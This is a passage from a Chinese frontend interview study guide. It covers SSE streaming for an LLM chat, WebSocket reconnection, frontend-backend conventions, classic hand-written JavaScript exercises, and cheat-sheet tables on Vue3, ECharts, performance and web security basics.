const resp = await fetch('/api/chat/stream', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('token')}`
},
body: JSON.stringify({ question: q, sessionId: currentSessionId.value }),
signal: abortController.signal // ★ 支持取消
});
if (!resp.body) throw new Error('响应没有 body');
// ③ 流式读取
const reader = resp.body.getReader();
const decoder = new TextDecoder('utf-8'); // ★ 关键:流式解码
let buffer = '';
while (true) {
const { done, value } = await reader.read();
if (done) break;
// ★ stream: true 解决中文被 chunk 切断导致的乱码
buffer += decoder.decode(value, { stream: true });
// ④ 按 SSE 帧规则切分(双换行分隔)
const frames = buffer.split('\n\n');
buffer = frames.pop() ?? ''; // 最后一段可能不完整,留缓冲区
for (const frame of frames) {
const lines = frame.split('\n');
let eventType = 'message';
let data = '';
for (const line of lines) {
if (line.startsWith('event:')) eventType = line.slice(6).trim();
else if (line.startsWith('data:')) data += line.slice(5).trim();
}
if (data === '[DONE]') continue;
if (eventType === 'error') {
ElMessage.error(data);
continue;
}
// ⑤ 追加内容 → 响应式自动刷新界面(打字机效果)
aiMsg.content += data;
await scrollToBottom();
}
}
} catch (e: any) {
if (e.name === 'AbortError') {
aiMsg.content += '\n\n_[已停止生成]_';
} else {
ElMessage.error('生成失败:' + e.message);
}
} finally {
generating.value = false;
abortController = null;
}
}
// ⑥ 用户点击"停止生成" → 取消请求
function stop() {
abortController?.abort(); // ★ 后端会收到 IOException,取消上游 LLM 请求
}
async function scrollToBottom() {
await nextTick(); // 等 DOM 更新
const el = messageListRef.value;
if (el) el.scrollTop = el.scrollHeight;
}
onUnmounted(() => {
abortController?.abort(); // ★ 组件卸载必须取消,防止连接泄漏
});
</script>
13.3.4 面试连环问预演(★ 必背)
Q1:为什么不用原生 EventSource?
答:
EventSource有两个硬限制:① 只支持 GET(我们要 POST 携带复杂的问题参数);② 不能自定义请求头(带不了Authorization: Bearer xxx)。所以 POST + JWT 场景必须用fetch+ReadableStream手动解析 SSE 帧。
Q2:中文为什么会乱码?怎么解决?
答: UTF-8 下一个中文字符占 3 个字节,而网络传输的 chunk 边界是任意的——很可能一个中文字符被切成两半(前 1 字节在 chunk1,后 2 字节在 chunk2)。如果直接用
String.fromCharCode或普通decode()就会显示乱码。 解决: 用new TextDecoder('utf-8')配合decode(value, { stream: true }),解码器会把不完整的字节序列缓存在内部,等下一个 chunk 到了再拼起来正确解码。
Q3:用户中途关闭页面/点击停止会怎样?
答: 前端用
AbortController.abort()取消 fetch。后端emitter.send()会抛IOException,我们在 catch 里调用emitter.completeWithError(e)并通知 LangChain4j 取消上游 LLM 请求——这一点很重要,否则用户已经走了,LLM 还在后台继续生成、继续烧 token 钱。
Q4:断线了怎么办?
答: 原生 SSE 有
retry字段支持浏览器自动重连,但对话场景自动重连会导致重复生成(同样的 token 费)。我们的做法是:前端捕获流中断后展示“重新生成”按钮,由用户决定是否重试;后端对同一会话的上下文有 Redis 缓存(TTL 30 分钟),重试时带上sessionId复用上文,不会丢失对话上下文。
Q5:Nginx 有什么坑?
答: 必须关掉
proxy_buffering。Nginx 默认会把上游响应缓冲到一定大小(或超时)才一次性发给客户端——这会导致所有 token 憋到最后一次性涌出,“流式”完全失效,变成“转圈几秒后直接出全文”。配置:
location /api/chat/ {
proxy_pass http://rag-backend:8080;
proxy_http_version 1.1;
proxy_set_header Connection '';
proxy_buffering off; # ★ 关键:关闭缓冲,token 立刻推给浏览器
proxy_cache off;
proxy_read_timeout 300s; # 长回答不超时
chunked_transfer_encoding on;
}
Q6:SSE 和 WebSocket 怎么选?(你的两个项目都用了)
答: 看是否需要双向通信。 RAG 对话用 SSE——一问一答,只有服务器往回推,单向就够,而且 SSE 是普通 HTTP,过网关/Nginx 兼容性好,还有浏览器自动重连。 能源大屏用 WebSocket——需要客户端和服务端双向交互(前端订阅不同站点的数据、切换监控对象),且高频推送(每秒多次),WebSocket 的帧开销比 SSE 小(SSE 每帧带
data:前缀和空行)。
13.4 WebSocket(能源大屏实时数据)
<script setup>
import { ref, onMounted, onUnmounted, shallowRef } from 'vue';
import { throttle } from '@/utils';
const chartRef = ref(null);
let ws = null;
let reconnectTimer = null;
let reconnectCount = 0;
const MAX_RECONNECT = 5;
onMounted(() => {
connect();
});
function connect() {
ws = new WebSocket('ws://localhost:8080/ws/metrics');
ws.onopen = () => {
console.log('WebSocket 已连接');
reconnectCount = 0; // 连接成功,重置重连计数
// 订阅感兴趣的站点
ws.send(JSON.stringify({ type: 'subscribe', stationIds: [1, 2, 3] }));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
throttledUpdate(data); // 节流后更新图表
};
ws.onerror = (err) => console.error('WebSocket 错误', err);
ws.onclose = () => {
// ★ 断线重连(指数退避,避免疯狂重连)
if (reconnectCount < MAX_RECONNECT) {
const delay = Math.min(1000 * Math.pow(2, reconnectCount), 30000);
// 1s, 2s, 4s, 8s, 16s(上限 30s)
reconnectTimer = setTimeout(() => {
reconnectCount++;
connect();
}, delay);
}
};
}
// 节流:后端每秒推 10 次,前端最多 500ms 更新一次图表
const throttledUpdate = throttle((data) => {
chart.value?.setOption({ series: [{ data: data.points }] });
}, 500);
// ★ 心跳保活(防止被网关/防火墙断开空闲连接)
setInterval(() => {
if (ws?.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'ping' }));
}
}, 30000);
onUnmounted(() => {
clearTimeout(reconnectTimer);
ws?.close(); // ★ 必须关闭
});
</script>
WebSocket 关键实践(面试要点):
① 断线重连 + 指数退避
不能失败就立刻重连(可能疯狂重连打爆服务器)
延迟按 1s/2s/4s/8s... 递增,设上限和最大次数
② 心跳保活
空闲连接可能被网关/Nginx 断开(默认 60s)
每 30s 发一次 ping,保持连接活跃
③ 节流更新
后端推送频率 >> 渲染需求,前端必须限流
④ 组件卸载要 close
否则连接泄漏,控制台报错且连接数累积
13.5 前后端协作规范(体现工程素养)
① 接口文档
后端用 Swagger/OpenAPI(Knife4j),前端据此生成 TS 类型
→ 接口变更时前端编译期就能发现
② 统一响应体
Result<T> { code, message, data }
→ 前端拦截器统一处理,业务代码只关心 data
③ 统一错误码
200 成功 / 401 未登录 / 403 无权限 / 429 限流 / 500 服务错误
→ 前后端对错误的处理逻辑一致
④ 统一时间格式
后端 LocalDateTime → "yyyy-MM-dd HH:mm:ss" 字符串
→ 避免时区问题(不用时间戳,可读性差)
⑤ 幂等性
写操作(下单、提交表单)后端做幂等,前端同时做防重复提交(按钮置灰 + 节流)
→ 双保险(你的简历项目四写了这点)
⑥ 分页约定
pageNum(从 1 开始)+ pageSize,返回 { list, total }
→ 前后端参数名统一
⑦ 文件上传
前端限制类型/大小(before-upload 钩子),后端二次校验
→ 前端校验是体验,后端校验才是安全
第十四章:手写代码题
前端面试的高频手写题。部分已在前面章节讲过(防抖节流见 1.8,深拷贝见 1.9,call/apply/bind 见 1.5,instanceof 见 1.4),这里补充其余高频题目。
14.1 手写 Promise.all
Promise.myAll = function(promises) {
return new Promise((resolve, reject) => {
if (!Array.isArray(promises)) {
return reject(new TypeError('参数必须是数组'));
}
const results = [];
let completedCount = 0;
const len = promises.length;
if (len === 0) return resolve([]); // 空数组直接 resolve
promises.forEach((p, index) => {
// ★ 用 Promise.resolve 包装,兼容非 Promise 值
Promise.resolve(p).then(
value => {
results[index] = value; // 按索引存,保证顺序
completedCount++;
if (completedCount === len) {
resolve(results); // 全部完成才 resolve
}
},
reason => reject(reason) // 任一失败立即 reject(快速失败)
);
});
});
};
手写 Promise.race:
Promise.myRace = function(promises) {
return new Promise((resolve, reject) => {
promises.forEach(p => {
Promise.resolve(p).then(resolve, reject); // 谁先改变状态就用谁
});
});
};
手写 Promise.allSettled:
Promise.myAllSettled = function(promises) {
return new Promise((resolve) => {
const results = [];
let count = 0;
const len = promises.length;
if (len === 0) return resolve([]);
promises.forEach((p, i) => {
Promise.resolve(p).then(
value => {
results[i] = { status: 'fulfilled', value };
if (++count === len) resolve(results);
},
reason => {
results[i] = { status: 'rejected', reason };
if (++count === len) resolve(results); // ★ 失败也继续等,不 reject
}
);
});
});
};
14.2 数组扁平化
const arr = [1, [2, 3], [4, [5, 6]]];
// ① 最简单:flat(Infinity)
arr.flat(Infinity); // [1, 2, 3, 4, 5, 6]
// ② 递归实现
function flat(arr, depth = 1) {
return arr.reduce((result, item) => {
return result.concat(
Array.isArray(item) && depth > 0 ? flat(item, depth - 1) : item
);
}, []);
}
// ③ while + some(不使用递归)
function flatDeep(arr) {
while (arr.some(item => Array.isArray(item))) {
arr = [].concat(...arr); // 每次展开一层
}
return arr;
}
14.3 数组去重
const arr = [1, 1, 2, '1', '1', NaN, NaN, {}, {}];
// ① Set(最简单,但 NaN 能去重、对象不能)
[...new Set(arr)]; // [1, 2, '1', NaN, {}, {}]
// ② filter + indexOf(NaN 去不掉,因为 indexOf(NaN) === -1)
arr.filter((item, index) => arr.indexOf(item) === index);
// ③ reduce + includes(同样 NaN 问题)
// ④ 完整版(能处理 NaN 和对象)
function unique(arr) {
const seen = new Map();
return arr.filter(item => {
const key = typeof item + JSON.stringify(item); // 用类型+值做 key
return seen.has(key) ? false : (seen.set(key, true), true);
});
}
14.4 柯里化(Currying)
// 把 f(a, b, c) 变成 f(a)(b)(c)
function curry(fn) {
return function curried(...args) {
// 参数够了就执行原函数,不够就返回新函数继续收集
if (args.length >= fn.length) {
return fn.apply(this, args);
}
return function(...nextArgs) {
return curried.apply(this, [...args, ...nextArgs]);
};
};
}
// 测试
function add(a, b, c) { return a + b + c; }
const curriedAdd = curry(add);
curriedAdd(1)(2)(3); // 6
curriedAdd(1, 2)(3); // 6
curriedAdd(1)(2, 3); // 6
// 实际应用:参数复用
const hasPermission = curry((role, action) =>
permissions[role]?.includes(action));
const canAdmin = hasPermission('admin'); // 固定第一个参数
canAdmin('delete'); // true
canAdmin('edit'); // true
14.5 LRU 缓存(Least Recently Used)
/**
* LRU 缓存:容量满时淘汰最久未使用的
* ★ 用 Map 是因为 Map 保持插入顺序,且 keys().next() 是 O(1) 拿到最老的
*/
class LRUCache {
constructor(capacity) {
this.capacity = capacity;
this.cache = new Map();
}
get(key) {
if (!this.cache.has(key)) return -1;
// ★ 访问后移到最新(先删再插,插到末尾)
const value = this.cache.get(key);
this.cache.delete(key);
this.cache.set(key, value);
return value;
}
put(key, value) {
if (this.cache.has(key)) {
this.cache.delete(key); // 已存在,删掉旧的
} else if (this.cache.size >= this.capacity) {
// ★ 容量满:删除最久未使用的(Map 的第一个 key)
const oldestKey = this.cache.keys().next().value;
this.cache.delete(oldestKey);
}
this.cache.set(key, value); // 插入到末尾(最新)
}
}
// 测试
const lru = new LRUCache(2);
lru.put(1, 1); // {1:1}
lru.put(2, 2); // {1:1, 2:2}
lru.get(1); // 1 → {2:2, 1:1}(1 被访问,变成最新)
lru.put(3, 3); // 容量满,淘汰最老的 2 → {1:1, 3:3}
lru.get(2); // -1(2 已被淘汰)
14.6 发布订阅模式(EventEmitter)
class EventEmitter {
constructor() {
this.events = new Map(); // eventName → Set<handler>
}
// 订阅
on(name, handler) {
if (!this.events.has(name)) {
this.events.set(name, new Set());
}
this.events.get(name).add(handler);
return () => this.off(name, handler); // ★ 返回取消订阅函数(很实用)
}
// 取消订阅
off(name, handler) {
const handlers = this.events.get(name);
if (handlers) {
handlers.delete(handler);
if (handlers.size === 0) this.events.delete(name);
}
}
// 订阅一次(执行后自动取消)
once(name, handler) {
const wrapper = (...args) => {
handler(...args);
this.off(name, wrapper);
};
this.on(name, wrapper);
}
// 发布
emit(name, ...args) {
const handlers = this.events.get(name);
if (handlers) {
// 复制一份再遍历,避免遍历中修改集合出问题
[...handlers].forEach(handler => handler(...args));
}
}
}
// 使用
const emitter = new EventEmitter();
const unsubscribe = emitter.on('docDeleted', (id) => console.log('删除了', id));
emitter.emit('docDeleted', 1); // 删除了 1
unsubscribe(); // 取消订阅
14.7 寄生组合继承(最优继承方式)
/**
* 组合继承的问题:调用两次父构造函数
* 寄生组合继承:只调用一次,是 ES6 class 之前的最优解
*/
function inherit(Child, Parent) {
// ① 创建一个以 Parent.prototype 为原型的对象(不调用父构造函数)
const prototype = Object.create(Parent.prototype);
// ② 修正 constructor 指向
prototype.constructor = Child;
// ③ 赋值给子类的原型
Child.prototype = prototype;
}
function Parent(name) {
this.name = name;
this.colors = ['red', 'blue'];
}
Parent.prototype.sayName = function() {
console.log(this.name);
};
function Child(name, age) {
Parent.call(this, name); // 继承实例属性(第一次也是唯一一次调用父构造)
this.age = age;
}
inherit(Child, Parent); // 继承原型方法
Child.prototype.sayAge = function() {
console.log(this.age);
};
const c1 = new Child('张三', 18);
c1.colors.push('green');
const c2 = new Child('李四', 20);
console.log(c2.colors); // ['red', 'blue'] ← 引用属性不共享 ✅
14.8 手写 new
function myNew(Constructor, ...args) {
// ① 创建一个空对象,原型指向构造函数的 prototype
const obj = Object.create(Constructor.prototype);
// ② 执行构造函数,this 指向新对象
const result = Constructor.apply(obj, args);
// ③ 如果构造函数返回对象就用它,否则返回新对象
return (result !== null && typeof result === 'object') || typeof result === 'function'
? result
: obj;
}
function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { console.log('Hi, ' + this.name); };
const p = myNew(Person, '张三');
p.sayHi(); // Hi, 张三
p instanceof Person; // true
14.9 手写 reduce
Array.prototype.myReduce = function(callback, initialValue) {
if (typeof callback !== 'function') {
throw new TypeError(callback + ' is not a function');
}
const arr = this;
let accumulator;
let startIndex;
// ① 有初始值:从 index 0 开始,累加器 = 初始值
if (initialValue !== undefined) {
accumulator = initialValue;
startIndex = 0;
} else {
// ② 无初始值:从 index 1 开始,累加器 = 第一个元素
if (arr.length === 0) {
throw new TypeError('Reduce of empty array with no initial value');
}
accumulator = arr[0];
startIndex = 1;
}
// ③ 遍历累加(跳过空位)
for (let i = startIndex; i < arr.length; i++) {
if (i in arr) { // 跳过稀疏数组的空位
accumulator = callback(accumulator, arr[i], i, arr);
}
}
return accumulator;
};
第十五章:面试速查表(终极版)
15.1 JavaScript 核心
| 考点 | 一句话答案 |
|---|---|
| 数据类型 | 7 原始 + 1 引用;typeof null === 'object' 是历史 bug |
| 原型链 | 对象 __proto__ → 构造函数 prototype → Object.prototype → null |
new 做什么 |
建空对象 → 连原型 → 执行构造(this指向新对象) → 返回对象 |
| 闭包 | 函数 + 捕获的外部变量;优点私有化/保存状态,缺点内存泄漏 |
| this 绑定 | 优先级:new > call/apply/bind > 对象方法 > 普通函数;箭头函数继承外层 |
| 事件循环 | 同步 → 清空所有微任务 → 执行一个宏任务 → 再清空微任务 |
| 微任务 | Promise.then、async/await、queueMicrotask、MutationObserver |
| 宏任务 | setTimeout、setInterval、DOM 事件、Ajax 回调、script 整体 |
| Promise.all vs race | all 全成功才成功(快速失败);race 取第一个完成的 |
| 防抖 vs 节流 | 防抖“等你停下来”(搜索联想);节流“固定频率”(滚动/高频刷新) |
| 深拷贝 | JSON 法有硬伤;手写递归用 WeakMap 解决循环引用 |
| 事件委托 | 利用冒泡绑在父元素;省内存 + 支持动态元素 |
?? vs || |
?? 只对 null/undefined 取默认值;|| 对所有假值 |
| 手写题 | call/apply/bind、new、instanceof、Promise.all、防抖节流、深拷贝、LRU |
15.2 TypeScript
| 考点 | 一句话答案 |
|---|---|
| TS 优势 | 编译期类型检查、IDE 智能提示、重构安全 |
| interface vs type | interface 可扩展/声明合并(对象结构);type 能表达联合/元组/函数 |
| any vs unknown | any 关闭检查;unknown 要先做类型收窄才能用 |
| 泛型 | 类型参数化;Result<T> 统一响应体是典型应用 |
| 工具类型 | Partial(全可选) Pick(挑) Omit(排除) Record(映射) Awaited(展开Promise) |
| 类型守卫 | typeof / instanceof / in / 自定义 is 谓词 / 可辨识联合 |
| 金额精度 | Java BigDecimal → JSON String,前端用字符串接收,避免丢精度 |
15.3 Vue3 核心
| 考点 | 一句话答案 |
|---|---|
| Vue2 vs Vue3 响应式 | defineProperty 逐属性(新增属性不响应)vs Proxy 整对象(全能+懒代理) |
| ref vs reactive | ref 任意类型用 .value;reactive 只对象、整体替换丢响应式 |
| reactive 解构 | 会丢响应式,用 toRefs 包裹 |
| computed vs watch | computed 算新值(有缓存);watch 做副作用(调接口,能拿旧值) |
| watchEffect | 自动收集依赖 + 立即执行,不拿旧值 |
| 虚拟 DOM | JS 对象描述 DOM;数据变 → 新 VNode → Diff → 只改差异 |
| Vue3 Diff 优化 | PatchFlag 靶向更新、静态提升、事件缓存、Block Tree |
| nextTick | 基于微任务(Promise.then),排在 DOM 更新后,能拿到新 DOM |
| v-if vs v-show | v-if 销毁/创建(切换开销大);v-show 改 display(初始开销大) |
| v-for key | 精准复用节点;不能用 index(增删会错位) |
| 单向数据流 | props 只读,子改必须 emit 通知父 |
| 组件通信 | props/emit、v-model、provide/inject、Pinia、$attrs、mitt、ref+defineExpose |
| keep-alive | 缓存组件实例;生命周期变 activated/deactivated |
| 生命周期清理 | onUnmounted 里关 SSE/WS、dispose 图表、清定时器、移除监听 |
15.4 Vue2 → Vue3 迁移
| 考点 | 一句话答案 |
|---|---|
| 响应式 | defineProperty → Proxy(不用 $set/$delete 了) |
| API 风格 | Options API → Composition API(逻辑按功能聚合,可复用) |
| mixin → composable | 解决命名冲突、来源不清晰、不能传参三大痛点 |
| 生命周期 | beforeDestroy/destroyed → onBeforeUnmount/onUnmounted |
| filter | 移除了,用 computed 或方法 |
| $on/$off | 移除了,用 mitt |
| v-model | 支持多个(v-model:name),.sync 合并进 v-model |
| Fragment | 支持多根节点,不用套无意义 div |
| Teleport | 逻辑在当前组件,DOM 渲染到别处(弹窗挂 body) |
| 根节点 | Vue2 单根 → Vue3 多根 |
| IE11 | 不支持(Proxy 无法 polyfill),要兼容用 Vue 2.7 |
15.5 ECharts 与可视化
| 考点 | 一句话答案 |
|---|---|
| 基本流程 | 容器(必须有宽高) → init → setOption |
| 不显示排查 | 容器没宽高 / display:none / v-if 没等 nextTick |
| Canvas vs SVG | Canvas 快(大数据量、大屏);SVG 清晰可交互(小数据、导出) |
| 实时刷新 | WebSocket 推送 + 节流 + setOption 增量更新 + 滑动窗口限数据点 |
| setOption 第二参 | notMerge=true 完全替换(系列数量变化时用) |
| 大数据优化 | sampling:‘lttb’ 降采样、large 模式、progressive 渐进、关动画、dataZoom |
| LTTB | 按屏幕宽度分桶,每桶选最代表趋势的点,10万→800 点保形状 |
| 内存泄漏 | dispose 实例、移除监听、清定时器、限制数据点(三重清理) |
| 按需引入 | echarts/core + use([...]),1MB → 200KB |
| shallowRef | ECharts 实例是复杂大对象,用 shallowRef 避免深度代理损耗 |
| 大屏适配 | scale 缩放(按设计稿尺寸 + transform:scale) |
15.6 拓扑结构
| 考点 | 一句话答案 |
|---|---|
| 存储方案 | 邻接表(移动快 O(1))/ 路径枚举 / 闭包表 / 嵌套集 |
| 为什么选邻接表 | 设备拓扑频繁调整,移动节点只改 parent_id |
| 递归 CTE | WITH RECURSIVE 锚成员 + 递归成员;限深度防死循环 |
| 列表转树 | HashMap 两遍遍历 O(n);递归构建是 O(n²) 不可用 |
| 转换在哪端 | 后端(前端直接用 + Redis 缓存树形 JSON) |
| tree vs graph | tree 严格层级;graph 任意连接(力导向/环形) |
| 力导向问题 | O(n²) 复杂度,节点多时算不出来 → 改用 layout:‘none’ |
| 万级优化 | 限展开层级、懒加载、关动画、Canvas、预计算坐标 |
| 缓存一致性 | Redis 缓存 30 分钟,设备状态变更时删缓存 |
15.7 性能优化
| 考点 | 一句话答案 |
|---|---|
| 核心指标 | FCP(<1.8s)、LCP(<2.5s)、CLS(<0.1)、FID(<100ms) |
| 虚拟滚动 | 只渲染可视区;占位块撑高度 + transform 定位 + rAF 节流 |
| 为什么用 transform | 只触发合成(GPU),不触发重排重绘 |
| 路由懒加载 | () => import(),每路由单独 chunk,访问时才下载 |
| 重排 vs 重绘 | 重排改位置尺寸(代价大);重绘改颜色;合成 transform(最小) |
| 布局抖动 | 读写交替强制同步布局;解决:读写分离 |
| 强缓存 | Cache-Control max-age(不发请求);带 hash 的资源用 1 年 |
| 协商缓存 | ETag/Last-Modified,没变返回 304(省流量) |
| index.html 为什么 no-cache | 被缓存会导致发版后还引用旧 hash 的 JS |
| 打包优化 | manualChunks 分包、terser 压缩、drop_console、CDN |
15.8 工程化与网络
| 考点 | 一句话答案 |
|---|---|
| Vite vs Webpack | Vite 开发用原生 ESM 不打包(秒级启动),生产用 Rollup |
| 环境变量 | .env.xxx,必须以 VITE_ 开头;不能放密钥(会打包进 JS) |
| ESLint vs Prettier | ESLint 查质量(类比 Checkstyle);Prettier 格式化(类比 Spotless) |
| Nginx 部署 | 静态资源强缓存、index.html no-cache、/api 反代、try_files 兜底 SPA 路由 |
| 跨域本质 | 浏览器同源策略(协议+域名+端口),不是后端拒绝;Postman 不受影响 |
| 预检 | 非简单请求先发 OPTIONS;Max-Age 缓存预检结果 |
| 解决跨域 | 开发 Vite 代理 / 生产 Nginx 同域反代 / 后端 CORS 白名单 |
| HTTPS 握手 | ClientHello → ServerHello+证书 → 密钥交换 → 会话密钥对称加密通信 |
| 为什么混合加密 | 非对称安全但慢(协商密钥);对称快(传数据) |
| HTTP/2 | 多路复用(一个连接并行多请求)、头部压缩、二进制分帧 |
15.9 安全
| 考点 | 一句话答案 |
|---|---|
| XSS | 注入恶意脚本;防御:转义、Vue {{}} 自动转义、v-html 要 DOMPurify 清洗 |
| XSS 三类型 | 存储型(存库)、反射型(URL 参数)、DOM 型(前端写 DOM) |
| v-html 风险 | 等同 innerHTML,会执行 HTML;渲染 AI/用户内容必须先 sanitize |
| CSRF | 借用户 Cookie 发请求;防御:SameSite Cookie、CSRF Token、验证 Origin |
| JWT 存哪 | localStorage(防 CSRF 但怕 XSS)vs HttpOnly Cookie(防 XSS 但需防 CSRF) |
| HttpOnly | JS 读不到 Cookie,XSS 偷不走 |
| SameSite | Strict 完全禁止跨站带 Cookie;Lax 允许安全的 GET(默认) |
| 点击劫持 | 透明 iframe 覆盖;防御 X-Frame-Options / CSP frame-ancestors |
15.10 前后端协作
| 考点 | 一句话答案 |
|---|---|
| SSE 定义 | HTTP 长连接上服务器单向推文本流(text/event-stream) |
| SSE vs WebSocket | 单向文本过网关友好自动重连 vs 全双工独立协议;LLM 一问一答选 SSE |
| 帧格式 | event: 类型 / data: 数据 / 空行(\n\n)分隔 / retry: 重连间隔 |
| 为什么不用 EventSource | 只支持 GET、带不了 Authorization,用 fetch + ReadableStream |
| 中文乱码 | 多字节字符被 chunk 切断,用 TextDecoder stream:true |
| Nginx 关键项 | proxy_buffering off(关缓冲立即推送)+ 长 read_timeout |
| 用户关页面 | emitter.send 抛 IOException → 取消上游 LLM 请求(省 token 钱) |
| 后端核心类 | SseEmitter + 流式 handler(onPartialResponse 逐 token 推送) |
| Axios 拦截器 | 请求带 token,响应统一处理 401 跳登录/错误提示 |
| WebSocket 实践 | 断线重连指数退避、心跳保活、节流更新、卸载要 close |
| 幂等 | 后端做幂等键 + 前端防重复提交(按钮置灰 + 节流)双保险 |
附录:高频开放题的回答框架
Q:你做过最有亮点的前端工作是什么?
推荐回答(结合你的简历):
“我印象最深的是两个: 一个是 RAG 系统的 SSE 流式对话。 LLM 是逐 token 生成的,我后端用 Spring 的 SseEmitter 逐 token 推送,前端因为要 POST 加 JWT 头,原生 EventSource 用不了,就用 fetch 的 ReadableStream 手动解析 SSE 帧。中间踩了个坑:中文一个字 3 字节,网络 chunk 会把字切断导致乱码,必须用 TextDecoder 的 stream 模式解码。另外用户中途关页面的话,后端 send 会抛 IOException,我们在这个 catch 里取消上游 LLM 请求——不然用户都走了还在烧 token 钱。
另一个是能源大屏的性能优化。 大屏有十几个图表长时间运行,最初内存持续增长,排查发现是图表实例没 dispose、resize 监听没移除、实时数据数组无限增长三个原因。我封装了 useChart composable 统一管理生命周期,用滑动窗口限制数据点,ECharts 改成按需引入。改造后连续运行 24 小时内存稳定在 200MB 以内。
还有指令列表的虚拟滚动——万级数据全量渲染首屏要 3 秒多,改成只渲染可视区后降到 800ms 以内,滚动稳定 60fps。“
为什么这么答好: 三个案例分别覆盖了 SSE 流式(前后端配合)、内存优化(工程能力)、虚拟滚动(算法能力),且每个都讲清了问题 → 排查 → 方案 → 量化结果,有技术细节有数据。
本文档对应《简历技术栈学习指南》第九阶段,最后更新:2026-09-01 涵盖:前端三件套底层、TypeScript、Vue3 原理、Vue2/Vue3 全面对比、组件化、路由状态管理、ECharts 可视化、拓扑结构、性能优化、工程化、浏览器网络、前端安全、前后端协作、手写代码题